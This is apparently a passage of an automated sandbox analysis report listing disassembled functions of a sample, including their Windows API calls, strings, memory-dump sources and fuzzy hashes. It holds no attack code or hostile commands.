                                                              Function 00D953D0 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,00D804AB,00D804AD,00000000,00000000,562D4312,00000001,00000000,00000000,?,00D8038C,?,00000004,00D804AB,ROOT\CIMV2), ref: 00D95459
                                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,00D804AB,?,00000000,00000000,?,?,00D8038C,?,00000004,00D804AB), ref: 00D954D4
                                                              • SysAllocString.OLEAUT32(00000000), ref: 00D954DF
                                                              • _com_issue_error.COMSUPP ref: 00D95508
                                                              • _com_issue_error.COMSUPP ref: 00D95512
                                                              • GetLastError.KERNEL32(80070057,562D4312,00000001,00000000,00000000,?,00D8038C,?,00000004,00D804AB,ROOT\CIMV2), ref: 00D95517
                                                              • _com_issue_error.COMSUPP ref: 00D9552A
                                                              • GetLastError.KERNEL32(00000000,?,00D8038C,?,00000004,00D804AB,ROOT\CIMV2), ref: 00D95540
                                                              • _com_issue_error.COMSUPP ref: 00D95553
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
                                                              • String ID:
                                                              • API String ID: 1353541977-0
                                                              • Opcode ID: 72e878ed7928e6dbc294829e6242e77e9959f80c47aabbf63f8ea69503063022
                                                              • Instruction ID: ee396d0cc033c03c3f5af0a259f96125ace54c7b3c331564cb762017fd87af76
                                                              • Opcode Fuzzy Hash: 72e878ed7928e6dbc294829e6242e77e9959f80c47aabbf63f8ea69503063022
                                                              • Instruction Fuzzy Hash: 5B41F571A00704ABCF119F68E845BAEBBA9EB48720F144239F909E7285DB35D940CBB4
                                                              Function 00D80469 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 197COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3.LIBCMT ref: 00D80470
                                                                • Part of subcall function 00D80360: __EH_prolog3.LIBCMT ref: 00D80367
                                                              • VariantClear.OLEAUT32(?), ref: 00D805FA
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3$ClearVariant
                                                              • String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
                                                              • API String ID: 4196654922-3505469590
                                                              • Opcode ID: e5aa7f2fd6cf8a8024c5685d157499b59dd36f96871872e45d2362c0f09b7b3a
                                                              • Instruction ID: 21fdc7639b070fab07f4856ed5e7dc1f9e6e879e19ab59eccd08bfaf396b8d33
                                                              • Opcode Fuzzy Hash: e5aa7f2fd6cf8a8024c5685d157499b59dd36f96871872e45d2362c0f09b7b3a
                                                              • Instruction Fuzzy Hash: E0610871A10219AFDB54EFA4CC95EAEBBB9FF49720B140558E512A73A0DB30AD05CB70
                                                              Function 00D8E07E Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 174COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3_wcslen
                                                              • String ID: $</p>$</style>$<br>$<style>
                                                              • API String ID: 3746244732-3393513139
                                                              • Opcode ID: 0b87abc3b0f30843e0b21e01b52ed89c3dca5953b05a29797dda38b859533dcc
                                                              • Instruction ID: 0973cd777dbd7a7898a8db79e90930e902b7c4723e369b97fc35341a25626370
                                                              • Opcode Fuzzy Hash: 0b87abc3b0f30843e0b21e01b52ed89c3dca5953b05a29797dda38b859533dcc
                                                              • Instruction Fuzzy Hash: F6512535B40313A6DB30BA29882577AB3A6EF65745F5C4019F9C1AB2C0EB75DD80CBB0
                                                              Function 00D906D0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 95windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00D71E44: GetDlgItem.USER32(00000000,00003021), ref: 00D71E88
                                                                • Part of subcall function 00D71E44: SetWindowTextW.USER32(00000000,00DAC6C8), ref: 00D71E9E
                                                              • EndDialog.USER32(?,00000001), ref: 00D90720
                                                              • SendMessageW.USER32(?,00000080,00000001,0001041D), ref: 00D90747
                                                              • SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,0B050E6F), ref: 00D90760
                                                              • GetDlgItem.USER32(?,00000065), ref: 00D9077C
                                                              • SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00D90790
                                                              • SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00D907A6
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$Item$DialogTextWindow
                                                              • String ID: LICENSEDLG
                                                              • API String ID: 3077722735-2177901306
                                                              • Opcode ID: 906a85a3d9a40ff47ff8518c298c4412d0722cd5d64fbf2c376cb3260e9f06b6
                                                              • Instruction ID: 70b5cc8cd0762a8d11a3a181aa9eb236a7e55aad16348cfef49230fcafd1186b
                                                              • Opcode Fuzzy Hash: 906a85a3d9a40ff47ff8518c298c4412d0722cd5d64fbf2c376cb3260e9f06b6
                                                              • Instruction Fuzzy Hash: D421B031248306FFDB116FA5AD4DFAB3FADEB46B95F050214F601E62A0D761AA018F71
                                                              Function 00D87818 Relevance: 12.1, APIs: 8, Instructions: 131timeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __aulldiv.LIBCMT ref: 00D8783D
                                                                • Part of subcall function 00D8067E: GetVersionExW.KERNEL32(?), ref: 00D806AF
                                                              • FileTimeToLocalFileTime.KERNEL32(000000FF,?,?,000000FF,00000064,00000000,?,00000000), ref: 00D87860
                                                              • FileTimeToSystemTime.KERNEL32(000000FF,?,?,000000FF,00000064,00000000,?,00000000), ref: 00D87872
                                                              • SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00D87883
                                                              • SystemTimeToFileTime.KERNEL32(?,?), ref: 00D87893
                                                              • SystemTimeToFileTime.KERNEL32(?,?), ref: 00D878A3
                                                              • FileTimeToSystemTime.KERNEL32(?,?,?), ref: 00D878DE
                                                              • __aullrem.LIBCMT ref: 00D87984
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
                                                              • String ID:
                                                              • API String ID: 1247370737-0
                                                              • Opcode ID: de79f0438c153234a53cf7a078c1747f27d9efdec3d0533cc5b9de3e73156ea0
                                                              • Instruction ID: 576916f40cc34b6cd142941b277bf6f9730ed03ccb9f3014120006ec7f8bbe90
                                                              • Opcode Fuzzy Hash: de79f0438c153234a53cf7a078c1747f27d9efdec3d0533cc5b9de3e73156ea0
                                                              • Instruction Fuzzy Hash: 665107B1508305AFD710EF65C88496BFBF9FB88714F108A2EF59AD2250E734E549CB62
                                                              Function 00D80E49 Relevance: 10.7, APIs: 7, Instructions: 197COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D80E50
                                                              • GetFullPathNameW.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,00000030), ref: 00D80E85
                                                              • GetFullPathNameW.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,00000030), ref: 00D80EC4
                                                              • _wcslen.LIBCMT ref: 00D80ED4
                                                              • GetFullPathNameW.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,?,?,00000030), ref: 00D80F51
                                                              • GetFullPathNameW.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,00000030), ref: 00D80F93
                                                              • _wcslen.LIBCMT ref: 00D80FA3
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: FullNamePath$_wcslen$H_prolog3_
                                                              • String ID:
                                                              • API String ID: 840513527-0
                                                              • Opcode ID: 51e079d7c762e5c24d87181e4f884e15e260ded80db19e468cd05c910a606a30
                                                              • Instruction ID: cfc733c341cda3c6fae811d2af7d6d2949d4b0e6db8093d2ed538c8a5fb5531e
                                                              • Opcode Fuzzy Hash: 51e079d7c762e5c24d87181e4f884e15e260ded80db19e468cd05c910a606a30
                                                              • Instruction Fuzzy Hash: 4E616775900208ABCF15EFA8D885AAEBBB9EF89710F18411AF414E7241DB34D989CB70
                                                              Function 00DA6239 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,00DA69AE,?,00000000,?,00000000,00000000), ref: 00DA627B
                                                              • __fassign.LIBCMT ref: 00DA62F6
                                                              • __fassign.LIBCMT ref: 00DA6311
                                                              • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 00DA6337
                                                              • WriteFile.KERNEL32(?,?,00000000,00DA69AE,00000000,?,?,?,?,?,?,?,?,?,00DA69AE,?), ref: 00DA6356
                                                              • WriteFile.KERNEL32(?,?,00000001,00DA69AE,00000000,?,?,?,?,?,?,?,?,?,00DA69AE,?), ref: 00DA638F
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                                              • String ID:
                                                              • API String ID: 1324828854-0
                                                              • Opcode ID: 41020c62be599bcc79642b69619320206626b3c21ea366ceae68e5e6249588b9
                                                              • Instruction ID: ec49b6ba4e766ec1d0b6292e1f137b951161e654234df67f898cc16aa54c1a16
                                                              • Opcode Fuzzy Hash: 41020c62be599bcc79642b69619320206626b3c21ea366ceae68e5e6249588b9
                                                              • Instruction Fuzzy Hash: F4517E71A00249DFDF10CFA8D845AEEBBF8EB4A310F1C451AE956E7291E671E941CB70
                                                              Function 00D993C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _ValidateLocalCookies.LIBCMT ref: 00D993F7
                                                              • ___except_validate_context_record.LIBVCRUNTIME ref: 00D993FF
                                                              • _ValidateLocalCookies.LIBCMT ref: 00D99488
                                                              • __IsNonwritableInCurrentImage.LIBCMT ref: 00D994B3
                                                              • _ValidateLocalCookies.LIBCMT ref: 00D99508
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
                                                              • String ID: csm
                                                              • API String ID: 1170836740-1018135373
                                                              • Opcode ID: e65146b9b257bd69d6b166813824a2f8a90609af6609871c66f9ddbff6165354
                                                              • Instruction ID: 0fcf479d6470d842a522ddae9a3d3c5cb8ee82c07a609ed4163689b5af584fd8
                                                              • Opcode Fuzzy Hash: e65146b9b257bd69d6b166813824a2f8a90609af6609871c66f9ddbff6165354
                                                              • Instruction Fuzzy Hash: 32419234A00208ABCF11DFACC895ADEBBB5EF45324F188159E8159B392D731E916CBB1
                                                              Function 00D8E265 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 115COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3_GS.LIBCMT ref: 00D8E26C
                                                              • ShowWindow.USER32(?,00000000,00000038), ref: 00D8E294
                                                              • GetWindowRect.USER32(?,?), ref: 00D8E2D8
                                                              • ShowWindow.USER32(?,00000005,?,00000000), ref: 00D8E373
                                                              • ShowWindow.USER32(00000000,00000005), ref: 00D8E394
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Window$Show$H_prolog3_Rect
                                                              • String ID: RarHtmlClassName
                                                              • API String ID: 950582801-1658105358
                                                              • Opcode ID: a931b447b767e9ae2682566fca279236dee3c957929516788443dec3d2bcac94
                                                              • Instruction ID: 0e4a38bdc4e9c6029c4f37dbc2ead55dac00b24a94a1682f5c0ebece6c74fe9b
                                                              • Opcode Fuzzy Hash: a931b447b767e9ae2682566fca279236dee3c957929516788443dec3d2bcac94
                                                              • Instruction Fuzzy Hash: DA412471900205EFDF11AFA5DC89AAE7BB9EF48301F19415AF908EB265DB309941CF70
                                                              Function 00DA3554 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00DA3518: _free.LIBCMT ref: 00DA3541
                                                              • _free.LIBCMT ref: 00DA35A2
                                                                • Part of subcall function 00DA03D4: RtlFreeHeap.NTDLL(00000000,00000000,?,00DA3546,?,00000000,?,00000000,?,00DA356D,?,00000007,?,?,00DA396A,?), ref: 00DA03EA
                                                                • Part of subcall function 00DA03D4: GetLastError.KERNEL32(?,?,00DA3546,?,00000000,?,00000000,?,00DA356D,?,00000007,?,?,00DA396A,?,?), ref: 00DA03FC
                                                              • _free.LIBCMT ref: 00DA35AD
                                                              • _free.LIBCMT ref: 00DA35B8
                                                              • _free.LIBCMT ref: 00DA360C
                                                              • _free.LIBCMT ref: 00DA3617
                                                              • _free.LIBCMT ref: 00DA3622
                                                              • _free.LIBCMT ref: 00DA362D
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: _free$ErrorFreeHeapLast
                                                              • String ID:
                                                              • API String ID: 776569668-0
                                                              • Opcode ID: ab47a35b4bbe4dfe32203c1e62b6aae3bc761e273b4d797f2b7891905fbb6212
                                                              • Instruction ID: 1cb0036a934b439eae7f96943bf4ee2e62f65e210cd55ad257bb1d1808878deb
                                                              • Opcode Fuzzy Hash: ab47a35b4bbe4dfe32203c1e62b6aae3bc761e273b4d797f2b7891905fbb6212
                                                              • Instruction Fuzzy Hash: 2911F172940B04BBD934BBB4CC47FCBBB9DDF06700F404C15B29966192DA79B60547B0
                                                              Function 00D94D5F Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 45libraryloaderCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,?,00D94DDA,00D94D3D,00D94FDE), ref: 00D94D76
                                                              • GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00D94D8C
                                                              • GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00D94DA1
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AddressProc$HandleModule
                                                              • String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
                                                              • API String ID: 667068680-1718035505
                                                              • Opcode ID: 87f9c6e0d920e78724141ff42c8ad7f3d93fc79ef458759fa02328160527b572
                                                              • Instruction ID: c2bd89ec3d89c60b45350e5d140fea35d787cf2dcb88e5fc232cf16f6480f8b8
                                                              • Opcode Fuzzy Hash: 87f9c6e0d920e78724141ff42c8ad7f3d93fc79ef458759fa02328160527b572
                                                              • Instruction Fuzzy Hash: E0F0C239611B23AB0F615FB46C84F7722D8AA077693180239D642D2786E620DC978AF0
                                                              Function 00DA1609 Relevance: 9.2, APIs: 6, Instructions: 216COMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,00D9C5A2,00D9C5A2,?,?,?,00DA185A,00000001,00000001,C5E85006), ref: 00DA1663
                                                              • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00DA185A,00000001,00000001,C5E85006,?,?,?), ref: 00DA16E9
                                                              • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,C5E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00DA17E3
                                                              • __freea.LIBCMT ref: 00DA17F0
                                                                • Part of subcall function 00DA040E: RtlAllocateHeap.NTDLL(00000000,00D9535E,?,?,00D96C16,?,?,?,?,?,00D95269,00D9535E,?,?,?,?), ref: 00DA0440
                                                              • __freea.LIBCMT ref: 00DA17F9
                                                              • __freea.LIBCMT ref: 00DA181E
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ByteCharMultiWide__freea$AllocateHeap
                                                              • String ID:
                                                              • API String ID: 1414292761-0
                                                              • Opcode ID: e3f018d505db74721e2844c5dbaf0142b4b0ddae171f4a655e45804ba574460a
                                                              • Instruction ID: 0392db5783fb65f5534ac504aac95b8687b9298338d7243bed58a0d44ddf352a
                                                              • Opcode Fuzzy Hash: e3f018d505db74721e2844c5dbaf0142b4b0ddae171f4a655e45804ba574460a
                                                              • Instruction Fuzzy Hash: 3751B27A610216EFDB259F64CC81EBB77AAEB46760F1D4628FD04D6180EB34DC90C6B0
                                                              Function 00D87AA3 Relevance: 9.1, APIs: 6, Instructions: 104timeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?), ref: 00D87B06
                                                                • Part of subcall function 00D8067E: GetVersionExW.KERNEL32(?), ref: 00D806AF
                                                              • LocalFileTimeToFileTime.KERNEL32(?,?,?,?), ref: 00D87B2A
                                                              • FileTimeToSystemTime.KERNEL32(?,?,?,?), ref: 00D87B44
                                                              • TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?,?,?), ref: 00D87B57
                                                              • SystemTimeToFileTime.KERNEL32(?,?,?,?), ref: 00D87B67
                                                              • SystemTimeToFileTime.KERNEL32(?,?,?,?), ref: 00D87B77
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Time$File$System$Local$SpecificVersion
                                                              • String ID:
                                                              • API String ID: 2092733347-0
                                                              • Opcode ID: e7fecce15464aef5ead5d92accb4b5fec2943e5c8d667e21518adddb5060665b
                                                              • Instruction ID: 3d0497d3e003c3d8025e834b08942b7251c3909b9559ffed7c9027bf4a135f65
                                                              • Opcode Fuzzy Hash: e7fecce15464aef5ead5d92accb4b5fec2943e5c8d667e21518adddb5060665b
                                                              • Instruction Fuzzy Hash: AC4127762183059BC704DFA8C8849ABB7E8FF98714F04591EF999C7310E730D949CBA6
